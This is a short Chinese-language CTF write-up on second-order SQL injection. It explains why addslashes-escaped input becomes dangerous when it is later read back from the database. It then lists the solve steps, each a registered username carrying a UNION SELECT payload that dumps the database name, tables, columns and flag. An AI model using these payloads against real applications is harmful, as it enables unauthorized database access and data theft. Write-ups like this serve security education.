October 2019 Twice SQL Injection
October 2019 Twice SQL Injection
二次注入的原理:
在第一次进行数据库插入数据的时候,使用了 addslashes 、get_magic_quotes_gpc、mysql_escape_string、mysql_real_escape_string等函数对其中的特殊字符进行了转义,但是addslashes有一个特点就是虽然参数在过滤后会添加 “\” 进行转义,但是“\”并不会插入到数据库中,在写入数据库的时候还是保留了原来的数据。在将数据存入到了数据库中之后,开发者就认为数据是可信的。在下一次进行需要进行查询的时候,直接从数据库中取出了脏数据,没有进行进一步的检验和处理,这样就会造成SQL的二次注入。
比如在第一次插入数据的时候,数据中带有单引号,直接插入到了数据库中;然后在下一次使用中在拼凑的过程中,就形成了二次注入。
解题:
先随便注册一个号,进行登录
输入sql语句查看过滤情况,发现没有过滤,但是单引号用\转义了:
我们可以通过注册恶意用户名来登录,获取数据库内容
注册用户名为:1' union select database() #,密码为123的用户,进行登录
发现爆出了数据库:ctftraining
注册用户名为:1' union select group_concat(table_name) from information_schema.tables where database()=table_schema#,密码为123的用户,进行登录,爆出表名
注册用户名为:1' union select group_concat(column_name) from information_schema.columns where table_name="flag"#,密码为123的用户,进行登录,爆出字段名
注册用户名为:1' union select group_concat(flag) from flag#,密码为123的用户,进行登录,爆出flag字段值